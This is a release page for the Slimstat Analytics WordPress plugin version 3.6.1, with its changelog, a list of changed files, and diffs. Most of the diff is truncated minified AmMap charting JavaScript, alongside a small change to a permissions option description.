Version Description
- [Update] Streamlined DB initialization / update procedures (thank you, PyroSteveJr)
- [Update] AmMap has been updated to version 3.8.13
- [Fix] Uninstall procedure was not removing all the tables as expected (thank you, scruffy1)
- [Fix] Bug in retrieving the ID of the longest comment
- [Fix] Inconsistent table records were being removed without alerting the admin
- [Fix] Bug in calculating the CIDR mask for some IP-based filters (thank you, Alan)
- [Fix] Current tab was not remembered when clicking on a report's link to filter the data
- [Fix] Sorting was not available in Asynchronous Mode for certain reports (thank you, psn)
Download this release
Release Info
Developer | coolmann |
Plugin | Slimstat Analytics |
Version | 3.6.1 |
Comparing to | |
See all releases |
Code changes from version 3.6 to 3.6.1
- admin/config/index.php +1 -1
- admin/js/ammap/ammap.js +196 -184
- admin/js/ammap/images/export.png +0 -0
- admin/js/ammap/images/homeIconWhite.gif +0 -0
- admin/js/slimstat.admin.js +2 -2
- admin/view/wp-slimstat-reports.php +7 -56
- admin/wp-slimstat-admin.php +105 -103
- index.php +1 -1
- readme.txt +11 -1
- uninstall.php +4 -4
- wp-slimstat.php +35 -16
admin/config/index.php
CHANGED
@@ -128,7 +128,7 @@ switch ($config_tabs[$current_tab-1]){
|
|
128 |
case __('Permissions','wp-slimstat'):
|
129 |
$options_on_this_page = array(
|
130 |
'permissions_reports_header' => array('description' => __('Reports','wp-slimstat'), 'type' => 'section_header'),
|
131 |
-
'restrict_authors_view' => array('description' => __('Restrict Authors','wp-slimstat'), 'type' => 'yesno', 'long_description' => __('Enable this option if you want your
|
132 |
'capability_can_view' => array('description' => __('Capability','wp-slimstat'), 'type' => 'text', 'long_description' => __("Specify the minimum <a href='http://codex.wordpress.org/Roles_and_Capabilities' target='_new'>capability</a> needed to access the reports (default: <code>activate_plugins</code>). If this field is empty, <strong>all your users</strong> (including subscribers) will have access to the reports, unless a 'Read access' whitelist has been specified here below. In this case, the list has precedence over the capability.",'wp-slimstat')),
|
133 |
'can_view' => array('description' => __('Whitelist','wp-slimstat'), 'type' => 'textarea', 'long_description' => __("List all the users who should have access to the reports, separated by commas. Administrators are implicitly allowed, so you don't need to list them in here. Usernames are case sensitive.",'wp-slimstat'), 'skip_update' => true),
|
134 |
|
128 |
case __('Permissions','wp-slimstat'):
|
129 |
$options_on_this_page = array(
|
130 |
'permissions_reports_header' => array('description' => __('Reports','wp-slimstat'), 'type' => 'section_header'),
|
131 |
+
'restrict_authors_view' => array('description' => __('Restrict Authors','wp-slimstat'), 'type' => 'yesno', 'long_description' => __('Enable this option if you want your authors to only see stats related to their own content.','wp-slimstat')),
|
132 |
'capability_can_view' => array('description' => __('Capability','wp-slimstat'), 'type' => 'text', 'long_description' => __("Specify the minimum <a href='http://codex.wordpress.org/Roles_and_Capabilities' target='_new'>capability</a> needed to access the reports (default: <code>activate_plugins</code>). If this field is empty, <strong>all your users</strong> (including subscribers) will have access to the reports, unless a 'Read access' whitelist has been specified here below. In this case, the list has precedence over the capability.",'wp-slimstat')),
|
133 |
'can_view' => array('description' => __('Whitelist','wp-slimstat'), 'type' => 'textarea', 'long_description' => __("List all the users who should have access to the reports, separated by commas. Administrators are implicitly allowed, so you don't need to list them in here. Usernames are case sensitive.",'wp-slimstat'), 'skip_update' => true),
|
134 |
|
admin/js/ammap/ammap.js
CHANGED
@@ -1,14 +1,16 @@
|
|
1 |
-
if(!AmCharts)var AmCharts={}
|
2 |
-
AmCharts.Class=function(a){var b=function(){arguments[0]!==AmCharts.inheriting&&(this.events={},this.construct.apply(this,arguments))};a.inherits?(b.prototype=new a.inherits(AmCharts.inheriting),b.base=a.inherits.prototype,delete a.inherits):(b.prototype.createEvents=function(){for(var a=0,b=arguments.length;a<b;a++)this.events[arguments[a]]=[]},b.prototype.listenTo=function(a,b,c){a.events[b].push({handler:c,scope:this})},b.prototype.addListener=function(a,b,c){this.
|
3 |
-
b.prototype.removeListener=function(a,b,c){a=a.events[b]
|
4 |
-
AmCharts.navigator=navigator.userAgent.toLowerCase();-1!=AmCharts.navigator.indexOf("msie")&&(AmCharts.IEversion=parseInt(AmCharts.navigator.split("msie")[1]),document.documentMode&&(AmCharts.IEversion=Number(document.documentMode)),9>AmCharts.IEversion&&(AmCharts.isModern=!1));AmCharts.dx=0;AmCharts.dy=0;if(document.addEventListener||window.opera)AmCharts.isNN=!0,AmCharts.isIE=!1,AmCharts.dx=0.5,AmCharts.dy=0.5;
|
5 |
document.attachEvent&&(AmCharts.isNN=!1,AmCharts.isIE=!0,AmCharts.isModern||(AmCharts.dx=0,AmCharts.dy=0));window.chrome&&(AmCharts.chrome=!0);AmCharts.handleResize=function(){for(var a=AmCharts.charts,b=0;b<a.length;b++){var c=a[b];c&&c.div&&c.handleResize()}};AmCharts.handleMouseUp=function(a){for(var b=AmCharts.charts,c=0;c<b.length;c++){var d=b[c];d&&d.handleReleaseOutside(a)}};AmCharts.handleMouseMove=function(a){for(var b=AmCharts.charts,c=0;c<b.length;c++){var d=b[c];d&&d.handleMouseMove(a)}};
|
6 |
-
AmCharts.resetMouseOver=function(){for(var a=AmCharts.charts,b=0;b<a.length;b++){var c=a[b];c&&(c.mouseIsOver=!1)}};AmCharts.
|
7 |
AmCharts.isNN&&(document.addEventListener("mousemove",AmCharts.handleMouseMove,!0),window.addEventListener("resize",AmCharts.handleResize,!0),document.addEventListener("mouseup",AmCharts.handleMouseUp,!0),window.addEventListener("load",AmCharts.handleLoad,!0));AmCharts.isIE&&(document.attachEvent("onmousemove",AmCharts.handleMouseMove),window.attachEvent("onresize",AmCharts.handleResize),document.attachEvent("onmouseup",AmCharts.handleMouseUp),window.attachEvent("onload",AmCharts.handleLoad));
|
8 |
AmCharts.clear=function(){var a=AmCharts.charts;if(a)for(var b=0;b<a.length;b++)a[b].clear();AmCharts.charts=null;AmCharts.isNN&&(document.removeEventListener("mousemove",AmCharts.handleMouseMove,!0),window.removeEventListener("resize",AmCharts.handleResize,!0),document.removeEventListener("mouseup",AmCharts.handleMouseUp,!0),window.removeEventListener("load",AmCharts.handleLoad,!0));AmCharts.isIE&&(document.detachEvent("onmousemove",AmCharts.handleMouseMove),window.detachEvent("onresize",AmCharts.handleResize),
|
9 |
document.detachEvent("onmouseup",AmCharts.handleMouseUp),window.detachEvent("onload",AmCharts.handleLoad))};
|
10 |
-
AmCharts.makeChart=function(a,b){var
|
11 |
-
AmCharts.
|
|
|
|
|
12 |
AmCharts.getURL=function(a,b){if(a)if("_self"!=b&&b)if("_top"==b&&window.top)window.top.location.href=a;else if("_parent"==b&&window.parent)window.parent.location.href=a;else{var c=document.getElementsByName(b)[0];c?c.src=a:window.open(a)}else window.location.href=a};AmCharts.ifArray=function(a){return a&&0<a.length?!0:!1};AmCharts.callMethod=function(a,b){var c;for(c=0;c<b.length;c++){var d=b[c];if(d){if(d[a])d[a]();var f=d.length;if(0<f){var e;for(e=0;e<f;e++){var g=d[e];if(g&&g[a])g[a]()}}}}};
|
13 |
AmCharts.toNumber=function(a){return"number"==typeof a?a:Number(String(a).replace(/[^0-9\-.]+/g,""))};AmCharts.toColor=function(a){if(""!==a&&void 0!==a)if(-1!=a.indexOf(",")){a=a.split(",");var b;for(b=0;b<a.length;b++){var c=a[b].substring(a[b].length-6,a[b].length);a[b]="#"+c}}else a=a.substring(a.length-6,a.length),a="#"+a;return a};
|
14 |
AmCharts.toCoordinate=function(a,b,c){var d;void 0!==a&&(a=String(a),c&&c<b&&(b=c),d=Number(a),-1!=a.indexOf("!")&&(d=b-Number(a.substr(1))),-1!=a.indexOf("%")&&(d=b*Number(a.substr(0,a.length-1))/100));return d};AmCharts.fitToBounds=function(a,b,c){a<b&&(a=b);a>c&&(a=c);return a};AmCharts.isDefined=function(a){return void 0===a?!1:!0};AmCharts.stripNumbers=function(a){return a.replace(/[0-9]+/g,"")};AmCharts.roundTo=function(a,b){if(0>b)return a;var c=Math.pow(10,b);return Math.round(a*c)/c};
|
@@ -25,15 +27,17 @@ AmCharts.findIfAuto=function(a){return a.style&&"auto"==AmCharts.getStyle(a,"ove
|
|
25 |
AmCharts.formatValue=function(a,b,c,d,f,e,g,h){if(b){void 0===f&&(f="");var k;for(k=0;k<c.length;k++){var l=c[k],m=b[l];void 0!==m&&(m=e?AmCharts.addPrefix(m,h,g,d):AmCharts.formatNumber(m,d),a=a.replace(RegExp("\\[\\["+f+""+l+"\\]\\]","g"),m))}}return a};AmCharts.formatDataContextValue=function(a,b){if(a){var c=a.match(/\[\[.*?\]\]/g),d;for(d=0;d<c.length;d++){var f=c[d],f=f.substr(2,f.length-4);void 0!==b[f]&&(a=a.replace(RegExp("\\[\\["+f+"\\]\\]","g"),b[f]))}}return a};
|
26 |
AmCharts.massReplace=function(a,b){for(var c in b)if(b.hasOwnProperty(c)){var d=b[c];void 0===d&&(d="");a=a.replace(c,d)}return a};AmCharts.cleanFromEmpty=function(a){return a.replace(/\[\[[^\]]*\]\]/g,"")};
|
27 |
AmCharts.addPrefix=function(a,b,c,d,f){var e=AmCharts.formatNumber(a,d),g="",h,k,l;if(0===a)return"0";0>a&&(g="-");a=Math.abs(a);if(1<a)for(h=b.length-1;-1<h;h--){if(a>=b[h].number&&(k=a/b[h].number,l=Number(d.precision),1>l&&(l=1),c=AmCharts.roundTo(k,l),l=AmCharts.formatNumber(c,{precision:-1,decimalSeparator:d.decimalSeparator,thousandsSeparator:d.thousandsSeparator}),!f||k==c)){e=g+""+l+""+b[h].prefix;break}}else for(h=0;h<c.length;h++)if(a<=c[h].number){k=a/c[h].number;l=Math.abs(Math.round(Math.log(k)*
|
28 |
-
Math.LOG10E));k=AmCharts.roundTo(k,l);e=g+""+k+""+c[h].prefix;break}return e};AmCharts.remove=function(a){a&&a.remove()};AmCharts.
|
29 |
-
AmCharts.
|
30 |
-
AmCharts.
|
|
|
31 |
AmCharts.bounce=function(a,b,c,d,f){return(b/=f)<1/2.75?7.5625*d*b*b+c:b<2/2.75?d*(7.5625*(b-=1.5/2.75)*b+0.75)+c:b<2.5/2.75?d*(7.5625*(b-=2.25/2.75)*b+0.9375)+c:d*(7.5625*(b-=2.625/2.75)*b+0.984375)+c};AmCharts.easeInSine=function(a,b,c,d,f){return-d*Math.cos(b/f*(Math.PI/2))+d+c};AmCharts.easeOutSine=function(a,b,c,d,f){return d*Math.sin(b/f*(Math.PI/2))+c};
|
32 |
-
AmCharts.easeOutElastic=function(a,b,c,d,f){a=1.70158;var e=0,g=d;if(0===b)return c;if(1==(b/=f))return c+d;e||(e=0.3*f);g<Math.abs(d)?(g=d,a=e/4):a=e/(2*Math.PI)*Math.asin(d/g);return g*Math.pow(2,-10*b)*Math.sin(2*(b*f-a)*Math.PI/e)+d+c};AmCharts.AmDraw=AmCharts.Class({construct:function(a,b,c,d){AmCharts.SVG_NS="http://www.w3.org/2000/svg";AmCharts.SVG_XLINK="http://www.w3.org/1999/xlink";AmCharts.hasSVG=!!document.createElementNS&&!!document.createElementNS(AmCharts.SVG_NS,"svg").createSVGRect;1>b&&(b=10);1>c&&(c=10);this.div=a;this.width=b;this.height=c;this.rBin=document.createElement("div");AmCharts.hasSVG
|
33 |
-
(d.setAttribute("direction","rtl"),
|
34 |
-
|
35 |
-
|
36 |
-
|
|
|
37 |
rotate:function(a,b){this.R.rotate(this,a,b);this.angle=a},animate:function(a,b,c){for(var d in a)if(a.hasOwnProperty(d)){var f=d,e=a[d];c=AmCharts.getEffect(c);this.R.animate(this,f,e,b,c)}},push:function(a){if(a){var b=this.node;b.appendChild(a.node);var c=a.clipPath;c&&b.appendChild(c);(a=a.grad)&&b.appendChild(a)}},text:function(a){this.R.setText(this,a)},remove:function(){this.R.remove(this)},clear:function(){var a=this.node;if(a.hasChildNodes())for(;1<=a.childNodes.length;)a.removeChild(a.firstChild)},
|
38 |
hide:function(){this.setAttr("visibility","hidden")},show:function(){this.setAttr("visibility","visible")},getBBox:function(){return this.R.getBBox(this)},toFront:function(){var a=this.node;if(a){this.prevNextNode=a.nextSibling;var b=a.parentNode;b&&b.appendChild(a)}},toPrevious:function(){var a=this.node;a&&this.prevNextNode&&(a=a.parentNode)&&a.insertBefore(this.prevNextNode,null)},toBack:function(){var a=this.node;if(a){this.prevNextNode=a.nextSibling;var b=a.parentNode;if(b){var c=b.firstChild;
|
39 |
c&&b.insertBefore(a,c)}}},mouseover:function(a){this.R.addListener(this,"mouseover",a);return this},mouseout:function(a){this.R.addListener(this,"mouseout",a);return this},click:function(a){this.R.addListener(this,"click",a);return this},dblclick:function(a){this.R.addListener(this,"dblclick",a);return this},mousedown:function(a){this.R.addListener(this,"mousedown",a);return this},mouseup:function(a){this.R.addListener(this,"mouseup",a);return this},touchstart:function(a){this.R.addListener(this,
|
@@ -46,179 +50,187 @@ c){var d=new AmCharts.AmDObject("text",this.D);a=String(a).split("\n");var f=b["
|
|
46 |
b,c,d){b="translate("+b+","+c+")";d&&(b=b+" scale("+d+")");this.setAttr(a,"transform",b)},rotate:function(a,b){var c=a.node.getAttribute("transform"),d="rotate("+b+")";c&&(d=c+" "+d);this.setAttr(a,"transform",d)},set:function(a){var b=new AmCharts.AmDObject("g",this.D);this.D.container.appendChild(b.node);if(a){var c;for(c=0;c<a.length;c++)b.push(a[c])}return b},addListener:function(a,b,c){a.node["on"+b]=c},gradient:function(a,b,c,d){var f=a.node,e=a.grad;e&&this.D.remove(e);b=document.createElementNS(AmCharts.SVG_NS,
|
47 |
b);e=AmCharts.getUniqueId();b.setAttribute("id",e);if(!isNaN(d)){var g=0,h=0,k=0,l=0;90==d?k=100:270==d?l=100:180==d?g=100:0===d&&(h=100);b.setAttribute("x1",g+"%");b.setAttribute("x2",h+"%");b.setAttribute("y1",k+"%");b.setAttribute("y2",l+"%")}for(d=0;d<c.length;d++)g=document.createElementNS(AmCharts.SVG_NS,"stop"),h=100*d/(c.length-1),0===d&&(h=0),g.setAttribute("offset",h+"%"),g.setAttribute("stop-color",c[d]),b.appendChild(g);f.parentNode.appendChild(b);c="#";AmCharts.baseHref&&!AmCharts.isIE&&
|
48 |
(c=window.location.href+c);f.setAttribute("fill","url("+c+e+")");a.grad=b},pattern:function(a,b,c){var d=a.node;isNaN(c)&&(c=1);var f=a.patternNode;f&&this.D.remove(f);var f=document.createElementNS(AmCharts.SVG_NS,"pattern"),e=AmCharts.getUniqueId(),g=b;b.url&&(g=b.url);var h=Number(b.width);isNaN(h)&&(h=4);var k=Number(b.height);isNaN(k)&&(k=4);h/=c;k/=c;c=b.x;isNaN(c)&&(c=0);var l=-Math.random()*Number(b.randomX);isNaN(l)||(c=l);l=b.y;isNaN(l)&&(l=0);b=-Math.random()*Number(b.randomY);isNaN(b)||
|
49 |
-
(l=b);f.setAttribute("id",e);f.setAttribute("width",h);f.setAttribute("height",k);f.setAttribute("patternUnits","userSpaceOnUse");f.setAttribute("xlink:href",g);this.D.image(g,0,0,h,k,f).translate(c,l);g="#";AmCharts.baseHref&&!AmCharts.isIE&&(g=window.location.href+g);d.setAttribute("fill","url("+g+e+")");a.patternNode=f;d.parentNode.appendChild(f)},remove:function(a){a.clipPath&&this.D.remove(a.clipPath);a.grad&&this.D.remove(a.grad);a.patternNode&&this.D.remove(a.patternNode);this.D.remove(a.node)}});AmCharts.AmChart=AmCharts.Class({construct:function(){this.version="3.
|
50 |
-
|
51 |
-
|
52 |
-
|
53 |
-
f-1,f-1,0],[0,0,e-1,e-1],b,c,1,this.borderColor,this.borderAlpha);d.push(b);if(b=this.backgroundImage)this.path&&(b=this.path+b),this.bgImg=a=a.image(b,0,0,f,e),d.push(a)},drawTitles:function(){var a=this.titles;if(AmCharts.ifArray(a)){var b=20,c;for(c=0;c<a.length;c++){var d=a[c],f=d.color;void 0===f&&(f=this.color);var e=d.size;isNaN(d.alpha);var g=this.marginLeft,f=AmCharts.text(this.container,d.text,f,this.fontFamily,
|
54 |
-
(g=d.bold);g&&f.attr({"font-weight":"bold"});b+=e+6;this.freeLabelsSet.push(f)}}},write:function(a){
|
55 |
-
h=
|
56 |
-
0;
|
57 |
-
this.labelsSet=this.container.set();this.freeLabelsSet.push(this.labelsSet)},initChart:function(){this.
|
58 |
-
this.
|
59 |
-
|
60 |
-
|
61 |
-
|
62 |
-
|
63 |
-
|
64 |
-
|
65 |
-
|
66 |
-
|
67 |
-
(
|
68 |
-
|
69 |
-
b
|
70 |
-
b)
|
71 |
-
validateSize:function(){var a=this;a.measure();var b=a.legend;if((a.realWidth!=a.previousWidth||a.realHeight!=a.previousHeight)&&0<a.realWidth&&0<a.realHeight){a.sizeChanged=!0;if(b){clearTimeout(a.legendInitTO);var c=setTimeout(function(){b.invalidateSize()},100);a.timeOuts.push(c);a.legendInitTO=c}a.marginsUpdated="xy"!=a.
|
72 |
-
this.previousWidth=NaN;this.invalidateSizeReal()},invalidateSizeReal:function(){var a=this;a.marginsUpdated=!1;clearTimeout(a.validateTO);var b=setTimeout(function(){a.validateSize()},5);a.timeOuts.push(b);a.validateTO=b},validateData:function(a){this.chartCreated&&(this.dataChanged=!0,this.marginsUpdated="xy"!=this.
|
73 |
-
|
74 |
-
this.balloon;e.enabled&&(e.followCursor(!1),e.changeColor(b),!c||e.fixedPosition?(e.setPosition(d,f),e.followCursor(!1)):e.followCursor(!0),a&&e.showBalloon(a))},handleTouchMove:function(a){this.hideBalloon();var b=this.chartDiv;a.touches&&(a=a.touches.item(0),this.mouseX=a.pageX-AmCharts.findPosX(b),this.mouseY=a.pageY-AmCharts.findPosY(b))},handleMouseOver:function(a){AmCharts.resetMouseOver();
|
75 |
-
this.chartDiv;a||(a=window.event);var c,d;if(a){this.posX=AmCharts.findPosX(b);this.posY=AmCharts.findPosY(b);switch(this.mouseMode){case 1:c=a.clientX-this.posX;d=a.clientY-this.posY;if(!this.divIsFixed){var b=document.body,f,e;b&&(f=b.scrollLeft,y1=b.scrollTop);if(b=document.documentElement)e=b.scrollLeft,y2=b.scrollTop;f=Math.max(f,e);e=Math.max(y1,
|
76 |
-
c=a.pageX-this.posX,d=a.pageY-this.posY);this.mouseX=c-this.dmouseX;this.mouseY=d-this.dmouseY}}},handleTouchStart:function(a){this.handleMouseDown(a)},handleTouchEnd:function(a){AmCharts.resetMouseOver();this.handleReleaseOutside(a)},handleReleaseOutside:function(a){},handleMouseDown:function(a){AmCharts.resetMouseOver();this.mouseIsOver
|
77 |
-
b;this.legend=a;a.chart=this;c?(a.div=c,a.position="outside",a.autoMargins=!1):a.div=this.legendDiv;c=this.handleLegendEvent;this.listenTo(a,"showItem",c);this.listenTo(a,"hideItem",c);this.listenTo(a,"clickMarker",c);this.listenTo(a,"rollOverItem",c);this.listenTo(a,"rollOutItem",c);this.listenTo(a,"rollOverMarker",
|
78 |
-
AmCharts.isPercents(this.height))&&this.invalidateSizeReal();this.renderFix()},renderFix:function(){if(!AmCharts.VML){var a=this.container;a&&a.renderFix()}},getSVG:function(){if(AmCharts.hasSVG)return this.container},animate:function(a,b,c,d,f,e,g){a["an_"+b]&&AmCharts.removeFromArray(this.animations,
|
79 |
-
this;clearInterval(a.interval);a.interval=setInterval(function(){a.updateAnimations.call(a)},AmCharts.updateRate)},stopAnim:function(a){AmCharts.removeFromArray(this.animations,a)},updateAnimations:function(){var a;this.container&&this.container.update();for(a=this.animations.length-
|
80 |
-
1):f.node.style[e]=c+b.suffix}else f.node.style[e]=Number(b.to)+b.suffix,this.animations.splice(a,1)}}
|
81 |
-
|
82 |
-
|
83 |
-
|
84 |
-
|
85 |
-
|
86 |
-
|
87 |
-
|
88 |
-
|
89 |
-
|
90 |
-
|
|
|
|
|
|
|
91 |
AmCharts.text=function(a,b,c,d,f,e,g,h){e||(e="middle");"right"==e&&(e="end");isNaN(h)&&(h=1);void 0!==b&&(b=String(b),AmCharts.isIE&&!AmCharts.isModern&&(b=b.replace("&","&"),b=b.replace("&","&")));c={fill:c,"font-family":d,"font-size":f,opacity:h};!0===g&&(c["font-weight"]="bold");c["text-anchor"]=e;return a.text(b,c)};
|
92 |
-
AmCharts.polygon=function(a,b,c,d,f,e,g,h,k,l,m){isNaN(e)&&(e=0);isNaN(h)&&(h=f);var n=d,q=!1;"object"==typeof n&&1<n.length&&(q=!0,n=n[0]);void 0===g&&(g=n);f={fill:n,stroke:g,"fill-opacity":f,"stroke-width":e,"stroke-opacity":h};void 0!==m&&0<m&&(f["stroke-dasharray"]=m);m=AmCharts.dx;e=AmCharts.dy;a.handDrawn&&(c=AmCharts.makeHD(b,c,a.handDrawScatter),b=c[0],c=c[1]);g=Math.round;l&&(g=AmCharts.doNothing);l="M"+(g(b[0])+m)+","+(g(c[0])+e);for(h=1;h<b.length;h++)l+=" L"+(g(b[h])+m)+","+(g(c[h])+
|
93 |
e);a=a.path(l+" Z").attr(f);q&&a.gradient("linearGradient",d,k);return a};
|
94 |
-
AmCharts.rect=function(a,b,c,d,f,e,g,h,k,l,m){isNaN(e)&&(e=0);void 0===k&&(k=0);void 0===l&&(l=270);isNaN(f)&&(f=0);var n=d,q=!1;"object"==typeof n&&(n=n[0],q=!0);void 0===g&&(g=n);void 0===h&&(h=f);b=Math.round(b);c=Math.round(c);var
|
95 |
-
AmCharts.bullet=function(a,b,c,d,f,e,g,h,k,l,m){var n;"circle"==b&&(b="round");switch(b){case "round":n=AmCharts.circle(a,c/2,d,f,e,g,h);break;case "square":n=AmCharts.polygon(a,[-c/2,c/2,c/2,-c/2],[c/2,c/2,-c/2,-c/2],d,f,e,g,h,l-180);break;case "
|
96 |
-
e,g,h);break;case "triangleRight":n=AmCharts.triangle(a,c,90,d,f,e,g,h);break;case "bubble":n=AmCharts.circle(a,c/2,d,f,e,g,h,!0);break;case "yError":n=a.set();n.push(AmCharts.line(a,[0,0],[-c/2,c/2],d,f,e));n.push(AmCharts.line(a,[-k,k],[-c/2,-c/2],d,f,e));n.push(AmCharts.line(a,[-k,k],[c/2,c/2],d,f,e));break;case "xError":n=a.set(),n.push(AmCharts.line(a,[-c/
|
|
|
97 |
AmCharts.triangle=function(a,b,c,d,f,e,g,h){if(void 0===e||0===e)e=1;void 0===g&&(g="#000");void 0===h&&(h=0);d={fill:d,stroke:g,"fill-opacity":f,"stroke-width":e,"stroke-opacity":h};b/=2;var k;0===c&&(k=" M"+-b+","+b+" L0,"+-b+" L"+b+","+b+" Z");180==c&&(k=" M"+-b+","+-b+" L0,"+b+" L"+b+","+-b+" Z");90==c&&(k=" M"+-b+","+-b+" L"+b+",0 L"+-b+","+b+" Z");270==c&&(k=" M"+-b+",0 L"+b+","+b+" L"+b+","+-b+" Z");return a.path(k).attr(d)};
|
98 |
AmCharts.line=function(a,b,c,d,f,e,g,h,k,l,m){if(a.handDrawn&&!m)return AmCharts.handDrawnLine(a,b,c,d,f,e,g,h,k,l,m);e={fill:"none","stroke-width":e};void 0!==g&&0<g&&(e["stroke-dasharray"]=g);isNaN(f)||(e["stroke-opacity"]=f);d&&(e.stroke=d);d=Math.round;l&&(d=AmCharts.doNothing);l=AmCharts.dx;f=AmCharts.dy;g="M"+(d(b[0])+l)+","+(d(c[0])+f);for(h=1;h<b.length;h++)g+=" L"+(d(b[h])+l)+","+(d(c[h])+f);if(AmCharts.VML)return a.path(g,void 0,!0).attr(e);k&&(g+=" M0,0 L0,0");return a.path(g).attr(e)};
|
99 |
-
AmCharts.makeHD=function(a,b,c){for(var d=[],f=[],e=1;e<a.length;e++)for(var g=Number(a[e-1]),h=Number(b[e-1]),k=Number(a[e]),l=Number(b[e]),m=Math.sqrt(Math.pow(k-g,2)+Math.pow(l-h,2)),m=Math.round(m/50)+1,k=(k-g)/m,l=(l-h)/m,n=0;n<=m;n++){var q=g+n*k+Math.random()*c,
|
100 |
-
AmCharts.handDrawnLine=function(a,b,c,d,f,e,g,h,k,l,m){var n=a.set();for(m=1;m<b.length;m++)for(var q=[b[m-1],b[m]],
|
101 |
-
AmCharts.wedge=function(a,b,c,d,f,e,g,h,k,l,m,n){var q=Math.round;e=q(e);g=q(g);h=q(h);var
|
102 |
-
|
103 |
-
x+","+(
|
104 |
-
"
|
105 |
-
0
|
106 |
-
|
107 |
-
|
108 |
-
|
109 |
-
b
|
110 |
-
|
111 |
-
(
|
112 |
-
|
113 |
-
|
114 |
-
(
|
115 |
-
|
116 |
-
|
117 |
-
|
118 |
-
this.
|
119 |
-
|
120 |
-
b.
|
121 |
-
|
122 |
-
|
123 |
-
|
124 |
-
AmCharts.AmMap=AmCharts.Class({inherits:AmCharts.AmChart,construct:function(){this.version="3.
|
125 |
-
this.backgroundZoomsToTop=!1;this.allowClickOnSelectedObject=this.useHandCursorOnClickableOjects=this.showBalloonOnSelectedObject=!0;this.showObjectsAfterZoom=this.wheelBusy=!1;this.zoomOnDoubleClick=this.useObjectColorForBalloon=!0;this.allowMultipleDescriptionWindows=!1;this.dragMap=this.centerMap=this.linesAboveImages=!0;this.colorSteps=5;this.showAreasInList=!0;this.showLinesInList=this.showImagesInList=!1;this.areasProcessor=new AmCharts.AreasProcessor(this);
|
126 |
-
this.imagesProcessor=new AmCharts.ImagesProcessor(this);this.imagesSettings=new AmCharts.ImagesSettings;this.linesProcessor=new AmCharts.LinesProcessor(this);this.linesSettings=new AmCharts.LinesSettings;this.showDescriptionOnHover=!1;AmCharts.AmMap.base.construct.call(this);this.product="ammap";this.areasClasses={}},initChart:function(){this.zoomInstantly=!0;if(this.sizeChanged&&
|
127 |
-
this.redrawLabels();this.drawTitles();this.processObjects();this.rescaleObjects();var a=this.container;this.zoomControl.init(this,a);this.drawBg();var b=this.smallMap;b&&b.init(this,a);(b=this.valueLegend)&&b.init(this,a);this.sizeChanged=!1;this.zoomToLongLat(this.zLevelTemp,this.zLongTemp,this.zLatTemp,!0);this.previousWidth=this.realWidth;this.previousHeight=this.realHeight;
|
128 |
-
(this.parseData(),this.dispatchDataUpdated=!0,this.dataChanged=!1,a=this.legend)&&(a.position="absolute",a.invalidateSize()),this.mouseWheelZoomEnabled&&this.addMouseWheel(),this.createDescriptionsDiv(),this.svgAreas=[],this.svgAreasById={},this.drawChart()):(document.createTextNode(this.svgNotSupported),this.chartDiv.style.textAlign="",this.chartDiv.setAttribute("class",
|
129 |
-
isNaN(a)||(this.zLongTemp=a);a=this.zoomLatitude();isNaN(a)||(this.zLatTemp=a);a=this.zoomLevel();isNaN(a)||(this.zLevelTemp=a);AmCharts.AmMap.base.invalidateSize.call(this)},handleWheelReal:function(a){if(!this.wheelBusy){this.stopAnimation();var b=this.zoomLevel(),c=this.zoomControl,d=c.zoomFactor;this.wheelBusy=!0;a=AmCharts.fitToBounds(0<a?b*d:b/d,c.minZoomLevel,
|
130 |
-
d,b)}},addLegend:function(a,b){a.position="absolute";a.autoMargins=!1;a.valueWidth=0;a.switchable=!1;AmCharts.AmMap.base.addLegend.call(this,a,b);return a},handleLegendEvent:function(){},createDescriptionsDiv:function(){if(!this.descriptionsDiv){var a=document.createElement("div");a.style.position="absolute";a.style.left=AmCharts.findPosX(this.div)+"px";a.style.top=
|
131 |
-
var a=this.dataProvider;this.dataProvider=a=AmCharts.extend(a,new AmCharts.MapData,!0);this.areasSettings=AmCharts.processObject(this.areasSettings,AmCharts.AreasSettings);this.imagesSettings=AmCharts.processObject(this.imagesSettings,AmCharts.ImagesSettings);this.linesSettings=AmCharts.processObject(this.linesSettings,
|
132 |
-
this.getBounds(),this.buildEverything()):(a=a.mapURL)&&this.loadXml(a);this.balloonsSet.toFront()},drawBg:function(){var a=this;AmCharts.remove(a.bgSet);var b=AmCharts.rect(a.container,a.realWidth,a.realHeight,"#000",0.001);b.click(function(){a.handleBackgroundClick()});a.bgSet=b;a.set.push(b)},buildEverything:function(){var a=
|
133 |
-
var c=a.smallMap;c&&(a.smallMap=AmCharts.processObject(a.smallMap,AmCharts.SmallMap),c=a.smallMap,c.init(a,b));c=a.dataProvider;isNaN(c.zoomX)&&isNaN(c.zoomY)&&isNaN(c.zoomLatitude)&&isNaN(c.zoomLongitude)&&(a.centerMap?(c.zoomLatitude=a.coordinateToLatitude(a.mapHeight/2),c.zoomLongitude=a.coordinateToLongitude(a.mapWidth/
|
134 |
-
c,c.init(a,b);a.objectList&&(a.objectList=AmCharts.processObject(a.objectList,AmCharts.ObjectList),b=a.objectList)&&(a.clearObjectList(),b.init(a));clearInterval(a.mapInterval);a.mapInterval=setInterval(function(){a.update.call(a)},AmCharts.updateRate);a.dispDUpd();a.linkSet.toFront();a.chartCreated=!0}else a.cleanChart()},
|
135 |
-
b);this.showHideReal(this.areasProcessor.allObjects,a,b);this.showHideReal(this.linesProcessor.allObjects,a,b)},showHideReal:function(a,b,c){var d;for(d=0;d<a.length;d++){var f=a[d];f.groupId==b&&(c?f.displayObject.show():f.displayObject.hide())}},update:function(){this.zoomControl.update()},animateMap:function(){var a=this;
|
136 |
-
this,b=a.totalFrames;a.frame<=b?(a.frame++,b=AmCharts.easeOutSine(0,a.frame,0,1,b),1<=b?(b=1,a.wheelBusy=!1):setTimeout(function(){a.updateSize.call(a)},AmCharts.updateRate)):(b=1,a.wheelBusy=!1);a.tweenPercent=b;a.rescaleMapAndObjects()},
|
137 |
-
|
138 |
-
|
139 |
-
|
|
|
140 |
isNaN(b)||isNaN(c)||!(2<Math.abs(a.x-b)||Math.abs(a.y-c))||(this.mapWasDragged=!0,a={type:"dragCompleted",zoomX:this.zoomX(),zoomY:this.zoomY(),zoomLevel:this.zoomLevel(),chart:this},this.fire(a.type,a));!this.mouseIsOver||this.mapWasDragged||this.skipClick||(a={type:"click",x:this.mouseX,y:this.mouseY,chart:this},this.fire(a.type,a),this.skipClick=!1);this.mapContainerClickY=this.mapContainerClickX=NaN;this.objectWasClicked=!1;this.zoomOnDoubleClick&&this.mouseIsOver&&(a=(new Date).getTime(),200>
|
141 |
-
